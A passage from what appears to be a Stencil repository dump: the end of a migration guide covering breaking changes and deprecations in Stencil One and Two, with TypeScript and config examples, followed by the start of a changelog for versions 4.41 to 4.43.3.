Stencil, please see our [support matrix](https://stenciljs.com/docs/support-policy#puppeteer)\n\n\n*****\n\n## Stencil Two\n\nIn keeping with [Semver](https://semver.org/), Stencil `2.0.0` was released due to changes in the API (mainly from some updates to the config API). But even though this is a new major version, there are few breaking changes.\n\n### BREAKING CHANGES\n\nWhile migrating from Stencil One, any changes will be flagged and described by the compiler during development. For the most part, most of the changes are removal of deprecated APIs that have been printing out warning logs for quite some time now\n\n#### Opt-in for IE11, Edge 16-18 and Safari 10 Builds\n\n- **config:** update config extra defaults to not build IE11, Edge 16-18 and Safari 10 by default ([363bf59](https://github.com/stenciljs/core/commit/363bf59fc9212a771a766c21909263d6c4ccdf18))\n\nA change in Stencil 2 is that the IE11, Edge 16-18 and Safari 10 builds will not be enabled by default. However, the ability to opt-in is still available, and can be enabled by setting each `extras` config flag to `true`. An advantage of this is less runtime within your builds. See the [config.extras docs](https://stenciljs.com/docs/config-extras) for more info.\n\n#### Opt-in for ES5 and SystemJS Builds\n\n- **config:** do not build es5 by default ([fa67d97](https://github.com/stenciljs/core/commit/fa67d97d043d12e0a3af0d868fa1746eb9e3badf))\n\nJust like having to opt-in for IE11, the same goes for opting-in for ES5 and SystemJS builds. For a production build in Stencil 1, it would build both ES2017/ESM files, and ES5/SystemJS files. As of Stencil 2, both dev and prod builds do not create ES5/SystemJS builds. An advantage of this is having faster production builds by not having to also downlevel to es5. See the [buildEs5](https://stenciljs.com/docs/config#buildes5) for more info.\n\n#### Use `disconnectedCallback()` instead of `componentDidUnload()`\n\n- **componentDidUnload:** use disconnectedCallback instead of componentDidUnload ([4e45862](https://github.com/stenciljs/core/commit/4e45862f73609599a7195fcf5c93d9fb39492154))\n\nWhen Stencil is used within other frameworks, DOM elements may be reused, making it impossible for `componentDidUnload()` to be accurate 100% of the time if it is disconnected, then re-connected, and disconnected again. Instead, `disconnectedCallback()` is the preferred way to always know if a component was disconnected from the DOM.\n\n_Note that the runtime still works for any collections that have been built with componentDidUnload(). However, updates to Stencil 2 will require it's changed to disconnectedCallback()._\n\n#### Default to `async` task queue\n\n- **taskQueue:** set \"async\" taskQueue as default ([f3bb121](https://github.com/stenciljs/core/commit/f3bb121b8130e0c4e0c344eca7078ce572ad34a5))\n\nUpdate taskQueue default to \"async\". Stencil 1 default was \"congestionAsync\". See [config.taskQueue](https://stenciljs.com/docs/config#taskqueue) for more info.\n\n#### Restore Stencil 1 defaults\n\n```ts\nexport const config: Config = {\n  buildEs5: 'prod',\n  extras: {\n    cssVarsShim: true,\n    dynamicImportShim: true,\n    safari10: true,\n    shadowDomShim: true,\n  },\n};\n```\n\n#### dist package.json\n\nTo ensure the extensions are built for the future and work with today's bundlers, we've found it best to use `.cjs.js` extension for CommonJS files, and `.js` for ESM files, with the idea that cjs files will no longer be needed some day, and the ESM files are the standard. _(We were using `.mjs` files, but not all of today's tooling and bundlers work well with that extension)._\n\nIf you're using the `dist` output target, update the `package.json` in the root of your project, like this:\n\n```diff\n  {\n-    \"main\": \"dist/index.js\",\n+    \"main\": \"dist/index.cjs.js\",\n\n-    \"module\": \"dist/index.mjs\",\n+    \"module\": \"dist/index.js\",\n\n-    \"es2015\": \"dist/esm/index.mjs\",\n+    \"es2015\": \"dist/esm/index.js\",\n\n-    \"es2017\": \"dist/esm/index.mjs\",\n+    \"es2017\": \"dist/esm/index.js\",\n\n-    \"jsnext:main\": \"dist/esm/index.mjs\",\n+    \"jsnext:main\": \"dist/esm/index.js\",\n  }\n```\n\nAdditionally the `dist/loader` output directory has renamed its extensions too, but since its `dist/loader/package.json` file is auto-generated, the entries were renamed too. So unless you were referencing the loader files directly you will not have to do external updates.\n\nSee the [Output Folder Structure Defaults](https://github.com/stenciljs/core/blob/main/src/compiler/output-targets/readme.md) for more info.\n\n#### NodeJS Update\n\n- **node:** minimum of Node 12.10.0, recommend 14.5.0 or greater ([55331be](https://github.com/stenciljs/core/commit/55331be42f311a6e2a4e4f8ac13c01d28dc31613))\n\nWith the major release, now's a good time to update the minimum and recommended version of NodeJS.\n\n- [Node Releases](https://nodejs.org/en/about/releases/)\n- [node.green](https://node.green/)\n\n*****\n\n## Stencil One\n\nMost of the updates for the `1.0.0` release involve removing custom APIs, and continuing to leverage web-standards in order to generate future-proof components that scale.\n\nAdditionally, these updates allow Stencil to further improve its tooling, with a focus on great developer experience for teams maintaining codebases across large organizations.\n\n\n### BREAKING CHANGES\n\nA common issue with JSX is each separate project's use of global JSX types. Many of the required changes are in order to avoid global types, which often cause issues for apps which import from numerous packages. The other change is having each component import its renderer, such as JSX's `h()` function.\n\n#### Import `{ h }` is required\n\nIn order to render JSX in Stencil apps, the `h()` function must be imported from `@stencil/core`:\n\n```diff\n+ import { h } from '@stencil/core';\n\nfunction app() {\n  return <ion-app></ion-app>\n}\n```\n\nThe `h` stands for \"hyperscript\", which is what JSX elements are transformed into (it's the actual function executed when rendering within the runtime). Stencil's `h` import is an equivalent to React's [React.createElement](https://reactjs.org/docs/react-without-jsx.html). This also explains why the app's `tsconfig.json` sets the `{ \"jsxFactory\": \"h\" }` config, which is detailed further in  [TypeScript's JSX Factory Function Docs](https://www.typescriptlang.org/docs/handbook/jsx.html#factory-functions).\n\nYou might think that `h` will be marked as \"unused\" by linters, but it's not! Any JSX syntax you write, is equivalent to using `h` directly, and the typescript's tooling is aware of that.\n\n```tsx\nconst jsx = <ion-button>;\n```\n\nis the same as:\n\n```tsx\nconst jsx = h('ion-button', null, null);\n```\n\n\n#### index.html's `<script>`s updated to use `type=\"module\"`\n\nStencil used to generate a loader `.js` file that automatically decided which entry-point to load based in the browser's capabilities. In Stencil 1.0 we have decided to completely remove the overhead of this loader by directly loading the core using the web-standard `type=\"module\"` script attribute. Less runtime and preferring native browser features. Win Win. For more for info, please see [Using JavaScript modules on the web](https://developers.google.com/web/fundamentals/primers/modules#browser).\n\n```diff\n- <script src=\"/build/app.js\"></script>\n+ <script type=\"module\" src=\"/build/app.esm.js\"></script>\n+ <script nomodule src=\"/build/app.js\"></script>\n```\n\n#### Collection's package.json\n\nStencil One has changed the internal folder structure of the `dist` folder, and some entry-points are located in different location:\n\n- **\"module\"**: `dist/esm/index.js` => `dist/index.mjs`\n- **\"jsnext:main**\": `dist/esm/es2017/index.js` => `dist/esm/index.mjs`\n\n\nMake sure you update the `package.json` in the root of your project, like this:\n\n```diff\n  {\n     \"main\": \"dist/index.js\",\n\n-    \"module\": \"dist/esm/index.js\",\n+    \"module\": \"dist/index.mjs\",\n\n-    \"es2015\": \"dist/esm/es2017/index.js\",\n-    \"es2017\": \"dist/esm/es2017/index.js\",\n-    \"jsnext:main\": \"dist/esm/es2017/index.js\",\n+    \"es2015\": \"dist/esm/index.mjs\",\n+    \"es2017\": \"dist/esm/index.mjs\",\n+    \"jsnext:main\": \"dist/esm/index.mjs\",\n  }\n```\n\n#### Dependencies\n\nSome packages, specially the ones from the Stencil and Ionic core teams used some private APIs of Stencil, that's why if your collection depends of `@ionic/core`, `@stencil/router` or `@stencil/state-tunnel`, you might need to update your `package.json` to point these dependencies to the `\"one\"` tag.\n\n```\n\"@ionic/core\": \"one\",\n\"@stencil/router\": \"^1.0.0\",\n\"@stencil/state-tunnel\": \"^1.0.0\",\n\n\"@stencil/sass\": \"^1.0.0\",\n\"@stencil/less\": \"^1.0.0\",\n\"@stencil/stylus\": \"^1.0.0\",\n\"@stencil/postcss\": \"^1.0.0\",\n```\n\n#### `window.NAMESPACE` is no longer a thing\n\nStencil will not read/write to the browser's global `window` anymore. So things like `window.App` or `window.Ionic` are gone, and should be provided by the user's code if need be.\n\n\n#### `@Prop() mode` is no longer reserved prop\n\n`@Prop() mode` used to be the way to define and read the current mode of a component. This API was removed since it was very local to the use case of Ionic.\n\nInstead, the `mode` can be read by using the `getMode()` method from `@stencil/core`.\n\n\n#### Removed: Global `JSX`\n\nFor all the same reasons for now importing `h`, in order to prevent type collision in the future, we have moved to local scoped JSX namespaces. Unfortunately, this means `JSX` is no longer global and it needs to be imported from `@stencil/core`. Also, note that while the below example has the render function with a return type of `JSX.Element`, we recommend to not have a return type at all:\n\n```tsx\nimport { JSX, h } from '@stencil/core';\n\nrender(): JSX.Element {\n  return <ion-button></ion-button>\n}\n```\n\n- `HTMLAttributes` might not be available as a global\n- `JSX`\n\n#### Removed: Global `HTMLAttributes`\n\n`HTMLAttributes` used to be exposed as a global interface, just like the `JSX` namespace, but that caused type conflicts when mixing different versions of stencil in the same project.\n\nNow `HTMLAttributes` is part of `JSXBase`, exposed in `@stencil/core`:\n\n```ts\nimport { JSXBase } from '@stencil/core';\n\nJSXBase.HTMLAttributes\n\n```\n\n#### Removed: Global `HTMLStencilElement`\n\nThe global type for `HTMLStencilElement` has been removed. Instead, it's better is to use the exact type of your component, such as `HTMLIonButtonElement`. The HTML types are automatically generated within the `components.d.ts` file.\n\n\n#### Removed: Global `StencilIntrinsicElement`\n\nThe global type `StencilIntrinsicElement` has been removed. It can be replaced by importing the `JSX` namespace from `@stencil/core`:\n\n```tsx\nimport { JSX } from '@stencil/core';\n\nexport type StencilIntrinsicElement = JSX.IntrinsicElement;\n```\n\n#### Removed: @Listen('event.KEY’)\n\nIt's no longer possible to use the `event.KEY` syntax in the `@Listen` decorator in order to only listen for specific key strokes.\nInstead, the browser already implements easy-to-use APIs:\n\n**BEFORE:**\n\n```ts\n@Listen('keydown.enter')\nonEnter() {\n  console.log('enter pressed');\n}\n```\n\n**AFTER:**\n\n```ts\n@Listen('keydown')\nonEnter(ev: KeyboardEvent) {\n  if (ev.key === 'Enter') {\n    console.log('enter pressed');\n  }\n}\n```\n\n#### Removed: @Listen('event’, { enabled })\n\nIt's not possible to programmatically enable/disable an event listener defined using the `@Listen()` decorator. Please use the DOM API directly (`addEventListener` / `removeEventListener`).\n\n#### Removed: @Listen('event’, { eventName })\n\nThe event name should be provided excl\n\n#### Removed: @Component({ host })\n\nThis feature was deprecated a long time ago, and it is being removed definitely from Stencil.\n\n#### `mockDocument()` and `mockWindow()` has been moved\n\nThe `mockDocument()` and `mockWindow()` functions previously in `@stencil/core/mock-dom` has been moved to:\n`@stencil/core/testing`:\n\n```diff\n- import { mockDocument, mockWindow } from '@stencil/core/mock-dom';\n+ import { mockDocument, mockWindow } from '@stencil/core/testing';\n```\n\n### DEPRECATIONS\n\n#### outputTarget \"docs\"\n\nThe output target \"docs\" has been renamed to \"docs-readme\":\n\nIn your `stencil.config.ts` file:\n```diff\nexport const config = {\n  outputTargets: [\n    {\n-     type: 'docs',\n+     type: 'docs-readme',\n    }\n  ]\n};\n```\n\n\n#### `hostData()`\n\nhostData() usage has been replaced by the new `Host` exposed in `@stencil/core`. The `<Host>` JSX element represents the \"host\" element of the component, and simplifies being able to add attributes and CSS classes to the host element:\n\n```diff\n+ import { Host } from '@stencil/core';\n\n-  hostData() {\n-    return {\n-      'class': {\n-        'my-class': true,\n-        'disabled': this.isDisabled\n-      },\n-      attr: this.attrValue\n-    };\n-  }\n  render() {\n    return (\n+      <Host\n+        class={{\n+          'my-class': true,\n+          'disabled': this.isDisabled\n+        }}\n+        attr={this.attrValue}\n+      />\n    );\n  }\n```\n\n#### All void methods return promise (right now method(): void is valid)\n\nUntil Stencil 1.0, public component methods decorated with `@Method()` could only return `Promise<...>` or `void`.\nNow, only the `async` methods are supported, meaning that retuning `void` is not valid.\n\n```diff\n  @Method()\n- doSomething() {\n+ async doSomething() {\n    console.log('hello');\n  }\n```\n\nThis change was motivated by the fact that Stencil's 1.0 runtime will be able to proxy all component method calls!\nThat means, developers will be able to call component methods safely without using componentOnReady()! even if the actual component has not been downloaded yet.\n\n##### Given an example component like:\n\n```ts\n@Component(...)\nexport class Cmp {\n  @Method()\n  async doSomething() {\n    console.log('called');\n  }\n}\n```\n\n**BEFORE:**\n\n```ts\n// Calling `componentOnReady()` was required in order to make sure the \"component\"\n// was properly lazy loaded and the methods are available.\nawait element.componentOnReady()\nelement.doSomething();\n```\n\n**AFTER:**\n\n```ts\n// Stencil One will automatically proxy the method call (like an RPC),\n// and it's safe to call any method without using `componentOnReady()`.\nawait element.doSomething();\n```\n\n\n#### `@Listen('TARGET:event’)`\n\nThe first argument of the `@Listen()` decorator is now only the event name, such as `click` or `resize`. Previously you could set the target of the listener by prefixing the event name with something like `window:resize`. Instead, the target is now set using the options.\n\n```diff\n- @Listen('window:event')\n+ @Listen('event’, { target: 'window' })\n\n- @Listen('document:event')\n+ @Listen('event’, { target: 'document' })\n\n- @Listen('body:event’)\n+ @Listen('event’, { target: 'body’ })\n\n- @Listen('parent:event’)\n+ @Listen('event’, { target: 'parent’ })\n```\n\nThis change was motivated by the fact that `body:event` is a valid DOM event name.\nIn addition, the new syntax allows for strong typing, since the `{target}` only accepts the following string values (`'window'`, `'document'`, `'body'`, `'parent'`).\n\n#### `@Prop({context})`\n\nUsing the `@Prop` decorator with the `context` has been deprecated and their usage is highly unrecommended. Here's how update each case:\n\n\n##### `'window'`\n\nAccessing `window` using `Prop({context: 'window'})` was previously required because of Server-side-rendering requirements, fortunately this is no longer needed, and developers can use global `window` directly.\n\n- `Prop({context: 'window'})` becomes `window`\n\n```diff\n-  @Prop({context: 'window'}) win!: Window;\n\n   method() {\n     // print window\n-    console.log(this.win);\n+    console.log(window);\n   }\n```\n\n##### `'document'`\n\nAccessing `document` using `Prop({context: 'document'})` was previously required because of Server-side-rendering requirements, fortunately this is no longer needed, and developers can use global `document` directly.\n\n- `Prop({context: 'document'})` becomes `document`\n\n```diff\n-  @Prop({context: 'document'}) doc!: Document;\n\n   method() {\n     // print document\n-    console.log(this.doc);\n+    console.log(document);\n   }\n```\n\n##### `'isServer'`\n\nIn order to determine if the your component is being rendered in the browser or the server as part of some prerendering/ssr process, stencil exposes a compiler-time constant through the `Build` object, exposed in `@stencil/core`:\n\n- `Prop({context: 'isServer'})` becomes `!Build.isBrowser`\n\n```diff\n+  import { Build } from '@stencil/core';\n\n   [...]\n\n-  @Prop({context: 'isServer'}) isServer!: boolean;\n\n   method() {\n-    if (!this.isServer) {\n+    if (Build.isBrowser) {\n       console.log('only log in the browser');\n     }\n   }\n```\n\n#### `@Prop(connect)`\n\nIt will not be recommended to use `@Prop(connect)` in order to lazily load components. Instead it's recommended to use ES Modules and/or dynamic imports to load code lazily.\n\n\n#### `@Component.assetsDir`\n\n```diff\n@Component({\n-  assetsDir: 'resource',\n+  assetsDirs: ['resource']\n})\n```\n\n#### OutputTarget local copy tasks\n\nThe root `copy` property in `stencil.config.ts` has been deprecated in favor of local copy tasks per output-target, ie. now the copy tasks are specific under the context of each output-target.\n\n```diff\n  const copy =\n  export const config = {\n    outputTargets: [\n      {\n        type: 'www',\n+       copy: [\n+        {\n+           src: 'index-module.html',\n+           dest: 'index-module.html'\n+         }\n+       ]\n      }\n    ],\n-   copy: [\n-     {\n-       src: 'index-module.html',\n-       dest: 'index-module.html'\n-     }\n-   ]\n  };\n```\n\nThis change has been motivated by the confusing semantics of the root copy task, currently the copy tasks are executed multiple times within different working-directories for each output-target.\n\nTake this example:\n\n```ts\nexport const config = {\n  outputTargets: [\n    { type: 'dist' },\n    { type: 'dist', dir: 'dist-app' },\n    { type: 'www' }\n  ],\n  copy: [\n    { src: 'main.html' }\n  ]\n};\n```\n\nIn the example above, the `main.html` file is actually copied into 5 different places!!\n\n- dist/collection/main.html\n- dist/app/main.html\n- dist-app/collection/main.html\n- dist-app/app/main.html\n- www/main.html\n\nIf the old behavior is still desired, the config can be refactored to:\n\n```ts\nconst copy = [\n  { src: 'main.html' }\n];\n\nexport const config = {\n  outputTargets: [\n    { type: 'dist', copy },\n    { type: 'dist', dir: 'dist-app', copy },\n    { type: 'www', copy }\n  ]\n};\n```\n\n### New APIs\n\n#### setMode() and getMode()\n\n#### getAssetsPath(this, relativePath)\n\n#### `dist-module` output target\n\n\n\n### Testing\n\n#### `newSpecPage()` Spec Testing Utility\n\nA new testing utility has been created to make it easier to unit test components. Its API is similar to `newE2EPage()` for consistency, but internally `newSpecPage()` does not use Puppeteer, but rather runs on top of a pure Node environment. Additionally, user code should not have to be written with legacy CommonJS, and code can safely use global browser variables such as `window` and `document`. In the example below, a mock `CmpA` component was created in the test, but it could have also imported numerous existing components and registered them into the test using the `components` config. The returned `page` variable also has a  `root` property, which is convenience property to get the top-level component found in the test.\n\n```tsx\nimport { Component, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nit('override default values from attribute', async () => {\n  @Component({\n    tag: 'cmp-a'\n  })\n  class CmpA {\n    @Prop() someProp = '';\n    render() {\n      return `${this.someProp}`;\n    }\n  }\n\n  const page = await newSpecPage({\n    components: [CmpA],\n    html: `<cmp-a some-prop=\"value\"></cmp-a>`,\n  });\n\n  // \"root\" is a convenience property which is the\n  // the top level component found in the test\n  expect(page.root).toEqualHtml(`\n    <cmp-a some-prop=\"value\">\n      value\n    </cmp-a>\n  `);\n\n  expect(page.root.someProp).toBe('value');\n});\n```\n\n\n#### Serialized `<mock:shadow-root>`\n\nTraditionally, when a component is serialized to a string its shadow-root is ignored and not include within the HTML output. However, when building web components and using Shadow DOM, the nodes generated within the components are just as important as any other nodes to be tested. For this reason, both spec and e2e tests will serialize the shadow-root content into a mocked `<mock:shadow-root>` element. Note that this serialized shadow-root is simply for testing and comparing values, and is not used at browser runtime.\n\n```tsx\nimport { Component } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nit('test shadow root innerHTML', async () => {\n  @Component({\n    tag: 'cmp-a',\n    shadow: true\n  })\n  class CmpA {\n    render() {\n      return (\n        <div>Shadow Content</div>\n      );\n    }\n  }\n\n  const page = await newSpecPage({\n    components: [CmpA],\n    html: `\n      <cmp-a>\n        Light Content\n      </cmp-a>\n    `,\n  });\n\n  expect(page.root).toEqualHtml(`\n    <cmp-a>\n      <mock:shadow-root>\n        <div>\n          Shadow Content\n        </div>\n      </mock:shadow-root>\n      Light Content\n    </cmp-a>\n  `);\n});\n```\n\n\n#### Jest Presets\n\nWhen running Jest directly, previously most of Jest had to be manually configured within each app's `package.json`, and required the `transform` config to be manually wired up to Stencil's `jest.preprocessor.js`. With the latest changes, most of the Jest config can be replaced with just `\"preset\": \"@stencil/core/testing\"`. You can still override the preset defaults, but it's best to start with the defaults first. Also note, the Jest config can be avoided entirely by using the `stencil test --spec` command rather than calling Jest directly.\n\n```diff\n  \"jest\": {\n+    \"preset\": \"@stencil/core/testing\"\n-    \"transform\": {\n-      \"^.+\\\\.(ts|tsx)$\": \"<rootDir>/node_modules/@stencil/core/testing/jest.preprocessor.js\"\n-    },\n-    \"testRegex\": \"(/__tests__/.*|\\\\.(test|spec))\\\\.(tsx?|jsx?)$\",\n-    \"moduleFileExtensions\": [\n-      \"ts\",\n-      \"tsx\",\n-      \"js\",\n-      \"json\",\n-      \"jsx\"\n-    ]\n  }\n```"
  },
  {
    "path": "CHANGELOG.md",
    "content": "## 🐕 [4.43.3](https://github.com/stenciljs/core/compare/v4.43.2...v4.43.3) (2026-03-19)\n\n\n### Features\n\n* **testing:** deprecate all integrated testing options ([#6642](https://github.com/stenciljs/core/issues/6642)) ([02f91b3](https://github.com/stenciljs/core/commit/02f91b3b59461d55ea8527b328cd48056cb6130a))\n\n\n\n## 🌙 [4.43.2](https://github.com/stenciljs/core/compare/v4.43.1...v4.43.2) (2026-02-27)\n\n\n### Bug Fixes\n\n* add missing `part` setter to MockElement ([#6612](https://github.com/stenciljs/core/issues/6612)) ([abfdd57](https://github.com/stenciljs/core/commit/abfdd57e04d0422a12ad189f2066090315265e02))\n* **compiler:** mixin jsx processing ([#6615](https://github.com/stenciljs/core/issues/6615)) ([ccda746](https://github.com/stenciljs/core/commit/ccda746e50ae90b10ad11b8d56182f59537ff598))\n* **compiler:** proper discovery and processing of external mixins / classes ([#6620](https://github.com/stenciljs/core/issues/6620)) ([0ee951e](https://github.com/stenciljs/core/commit/0ee951eca3b21facfd48afd90bd16ed5ef7877b0))\n* **dist-custom-elements:** stop `render` function being stripped from imports ([#6623](https://github.com/stenciljs/core/issues/6623)) ([cd33ccb](https://github.com/stenciljs/core/commit/cd33ccb270761be9a3e2f9f4668231ff53bb42f7))\n* **runtime:** init prop reactivity when ele.prop === instance.prop ([#6614](https://github.com/stenciljs/core/issues/6614)) ([ad6a344](https://github.com/stenciljs/core/commit/ad6a344cbe7145f8e810c322c608ed422d17a8b4))\n* **runtime:** mixin get / set `@Prop` infinite loop ([#6618](https://github.com/stenciljs/core/issues/6618)) ([11201b5](https://github.com/stenciljs/core/commit/11201b5565b6122e6b9ad38014b21004d27904c1))\n* **types:** provide warnings for ts 4094; anon classes may not be private or protected ([#6613](https://github.com/stenciljs/core/issues/6613)) ([3fbc441](https://github.com/stenciljs/core/commit/3fbc441849f82d6b2b88c3c79883f3a2a704d0a0))\n* **types:** raise typescript errors even without `components.d.ts` ([#6616](https://github.com/stenciljs/core/issues/6616)) ([827d0d6](https://github.com/stenciljs/core/commit/827d0d6a61a90f288310070deae12c2a50e149a3))\n\n\n\n## 🏹 [4.43.1](https://github.com/stenciljs/core/compare/v4.43.0...v4.43.1) (2026-02-20)\n\n\n### Bug Fixes\n\n* **compiler:** update rollup to fix watch hang ([#6603](https://github.com/stenciljs/core/issues/6603)) ([205856b](https://github.com/stenciljs/core/commit/205856b5fe2e15434938812c48d7b0e62a71f058)), closes [#6602](https://github.com/stenciljs/core/issues/6602)\n* **declarations:** add rest params to h() ([#6604](https://github.com/stenciljs/core/issues/6604)) ([4d322a7](https://github.com/stenciljs/core/commit/4d322a75878cc14604c7b2cd747cdc3c17249fa5)), closes [#6181](https://github.com/stenciljs/core/issues/6181)\n* **hmr:** non-shadow component styles within shadow parent ([#6601](https://github.com/stenciljs/core/issues/6601)) ([fc14281](https://github.com/stenciljs/core/commit/fc142814c67b4911b60cc15db912294fef87da81))\n\n\n\n# 👒 [4.43.0](https://github.com/stenciljs/core/compare/v4.42.1...v4.43.0) (2026-02-13)\n\n\n### Bug Fixes\n\n* **compiler:** JSX Runtime Hydration Failure ([#6595](https://github.com/stenciljs/core/issues/6595)) ([8a34ac5](https://github.com/stenciljs/core/commit/8a34ac5cac109d8db83d0fe55dadb522e3b7c379))\n\n\n### Features\n\n* **dist-custom-elements:** new `autoLoader` option ([#6594](https://github.com/stenciljs/core/issues/6594)) ([e130b7a](https://github.com/stenciljs/core/commit/e130b7aa5f126684ccfa9bfd64e7ed438d1722a2))\n\n\n\n## 🌍 [4.42.1](https://github.com/stenciljs/core/compare/v4.42.0...v4.42.1) (2026-02-06)\n\n\n### Bug Fixes\n\n* **compiler:** make `resolveVar` for import ([#6588](https://github.com/stenciljs/core/issues/6588)) ([e4eeb37](https://github.com/stenciljs/core/commit/e4eeb370d133c1e431f6513cbb1b2587fef01ab3))\n* **compiler:** scrape build-conditionals from `FunctionalComponents` ([#6586](https://github.com/stenciljs/core/issues/6586)) ([d63bf5d](https://github.com/stenciljs/core/commit/d63bf5d8849eadd22d0644c00812aec8ff813ec6))\n* **css:** make scoped 'slotted' selector replacement less greedy ([#6580](https://github.com/stenciljs/core/issues/6580)) ([10e6184](https://github.com/stenciljs/core/commit/10e61848cf8b0030e55be07f002be30c1cf2779e))\n* **docs:** preserve css properties outside of production builds   ([#6579](https://github.com/stenciljs/core/issues/6579)) ([69d331e](https://github.com/stenciljs/core/commit/69d331e85b9d4d6264689172e7051c211fe43404))\n* **mock-doc:** add global instanceof `HTMLElement` / `SVGElement` plus new `MockLabelElement` ([#6581](https://github.com/stenciljs/core/issues/6581)) ([756b7aa](https://github.com/stenciljs/core/commit/756b7aadd203448feca54411477f5aad973f5a4d))\n* **runtime:** `dist` parent should hydrate even when children fail ([#6583](https://github.com/stenciljs/core/issues/6583)) ([50ad901](https://github.com/stenciljs/core/commit/50ad9014e1a12ab21d1268c3651e921802783310))\n* **runtime:** call `componentShouldUpdate` for every prop changed ([#6587](https://github.com/stenciljs/core/issues/6587)) ([dd4d2e6](https://github.com/stenciljs/core/commit/dd4d2e6ff43d6721e2ef914a3bdaf33f9c243c4e))\n* **types:** don't include `[@internal](https://github.com/internal)` properties in dist build required fields ([#6585](https://github.com/stenciljs/core/issues/6585)) ([6136a67](https://github.com/stenciljs/core/commit/6136a67c441c3e7f0e25acb9643eb8f4ffe7d27d))\n\n\n\n# 🚑 [4.42.0](https://github.com/stenciljs/core/compare/v4.41.3...v4.42.0) (2026-02-01)\n\n\n### Bug Fixes\n\n* **runtime:** use strict comparison when updating properties ([#6573](https://github.com/stenciljs/core/issues/6573)) ([e8dfc09](https://github.com/stenciljs/core/commit/e8dfc0973e25de29de395ea4130d9feb3f11b9dc))\n* **types:** css import type ([#6569](https://github.com/stenciljs/core/issues/6569)) ([60802fc](https://github.com/stenciljs/core/commit/60802fce9e521e50a98533c4ded58f23b8739429))\n\n\n### Features\n\n* **compiler:** `CustomStateSet` support ([#6574](https://github.com/stenciljs/core/issues/6574)) ([cce1e23](https://github.com/stenciljs/core/commit/cce1e2328d1d9ba290ef10342c0bcb659b2bff36))\n* **docs:** new `docs-custom-elements-manifest` output ([#6568](https://github.com/stenciljs/core/issues/6568)) ([df9d198](https://github.com/stenciljs/core/commit/df9d198b815bab381ab13ca444e7f85c99f6b077))\n* **hydrate-script:** add `generatePackageJson` option to `dist-hydrate-script` ([#6571](https://github.com/stenciljs/core/issues/6571)) ([f2dbed7](https://github.com/stenciljs/core/commit/f2dbed7c7162147446e084541d67ef322639b3b0))\n* **jsx:** `attr:` / `prop:` prefixes ([#6575](https://github.com/stenciljs/core/issues/6575)) ([aa599da](https://github.com/stenciljs/core/commit/aa599dabefd5df1058a512e03b785387e32e88d4))\n* **runtime:** Remove redundant SSR style elements after adoptedStyleSheets adoption ([#6576](https://github.com/stenciljs/core/issues/6576)) ([bc90887](https://github.com/stenciljs/core/commit/bc9088793774bfd307800422a762362b4de603cd))\n\n\n\n## 🎇 [4.41.3](https://github.com/stenciljs/core/compare/v4.41.2...v4.41.3) (2026-01-23)\n\n\n### Bug Fixes\n\n* **build:** auto add `name`, `form` and `disabled` to `formAssociated` components ([#6561](https://github.com/stenciljs/core/issues/6561)) ([4e19b99](https://github.com/stenciljs/core/commit/4e19b99dca2b8433d5ae0568eb30e58391b64264))\n* **runtime:** `ref` callback order ([#6552](https://github.com/stenciljs/core/issues/6552)) ([e006cf7](https://github.com/stenciljs/core/commit/e006cf74ab49d1b534109dc315e51890f0f7a477))\n* **runtime:** PropSerialize not called for JSX props before instance creation ([#6558](https://github.com/stenciljs/core/issues/6558)) ([88b3315](https://github.com/stenciljs/core/commit/88b3315c19dd1a7e41054e1a9e3ab028ad3fb7d8))\n* **ssr:** support jsxImportSource within hydrate-script output ([#6563](https://github.com/stenciljs/core/issues/6563)) ([5ca9668](https://github.com/stenciljs/core/commit/5ca96689acba81c35c4b244d5f4ad6f06eaad5ac))\n* **testing:** initialise mock-doc `childNodes` with get / set. Allows patching during tests ([#6564](https://github.com/stenciljs/core/issues/6564)) ([dbaa9fb](https://github.com/stenciljs/core/commit/dbaa9fbc288e045709f87a8cbb172aef26142472))\n\n\n\n## 🐝 [4.41.2](https://github.com/stenciljs/core/compare/v4.41.1...v4.41.2) (2026-01-16)\n\n\n### Bug Fixes\n\n* **mock-doc:** handle undefined delay in setTimeout/setInterval ([#6539](https://github.com/stenciljs/core/issues/6539)) ([0d3a068](https://github.com/stenciljs/core/commit/0d3a068ed27185cefe63649e6625c2d4437c7788))\n* **runtime:** bundle size ([#6549](https://github.com/stenciljs/core/issues/6549)) ([3de7ba6](https://github.com/stenciljs/core/commit/3de7ba6844cc7ed3cd961a185f7f06a37391f6f9))\n* **runtime:** style elements use `textContent` for TrustedHTML assignment ([#6544](https://github.com/stenciljs/core/issues/6544)) ([a708bdc](https://github.com/stenciljs/core/commit/a708bdc430c8d4c752e88b9f5e71c52302f76ef3))\n* **runtime:** various jsx-runtime behaviours ([#6538](https://github.com/stenciljs/core/issues/6538)) ([8f9efc5](https://github.com/stenciljs/core/commit/8f9efc5570983ff4d03580f4000ae5f844e7f641))\n* **ssr:** style re-attachment, replaying init animations ([#6540](https://github.com/stenciljs/core/issues/6540)) ([43608fa](https://github.com/stenciljs/core/commit/43608fa32791c897ec06b1884616bde2a10ac307))\n* **testing:** support `jsxImportSource` in internal jest test runner ([#6547](https://github.com/stenciljs/core/issues/6547)) ([6ac3b51](https://github.com/stenciljs/core/commit/6ac3b517a89434fb4c7a38d36a0fd786a5089310))\n\n\n\n## 🌴 [4.41.1](https://github.com/stenciljs/core/compare/v4.41.0...v4.41.1) (2026-01-08)\n\n\n### Bug Fixes\n\n* **runtime:** fix jsxImportSource Fragment handling ([#6531](https://github.com/stenciljs/core/issues/6531)) ([953346e](https://github.com/stenciljs/core/commit/953346ebb2211dcb1826ee9b4bb1d153c92e6caf))\n* **ssr:** remove global hack to stop duplicate tagTransformer instances ([#6529](https://github.com/stenciljs/core/issues/6529)) ([4bb24de](https://github.com/stenciljs/core/commit/4bb24dee2927491601c7b28f71fa099da52d2128))\n* **types:** add IntrinsicElements to jsximportSource runtime definitions ([#6532](https://github.com/stenciljs/core/issues/6532)) ([0fa0bc8](https://github.com/stenciljs/core/commit/0fa0bc8e56bc6faabd9585e458d9687ea6fcdf44))\n* **types:** FunctionalComponent can return null for jsxImportSource ([#6533](https://github.com/stenciljs/core/issues/6533)) ([82b47b8](https://github.com/stenciljs/core/commit/82b47b8e90b6eeaf916733d2ae05d0908916f9c9))\n\n\n\n# 🏂 [4.41.0](https://github.com/stenciljs/core/compare/v4.40.1...v4.41.0) (2026-01-02)\n\n\n### Bug Fixes\n\n* **build:** always fail build on typescript failure ([#6520](https://github.com/stenciljs/core/issues/6520)) 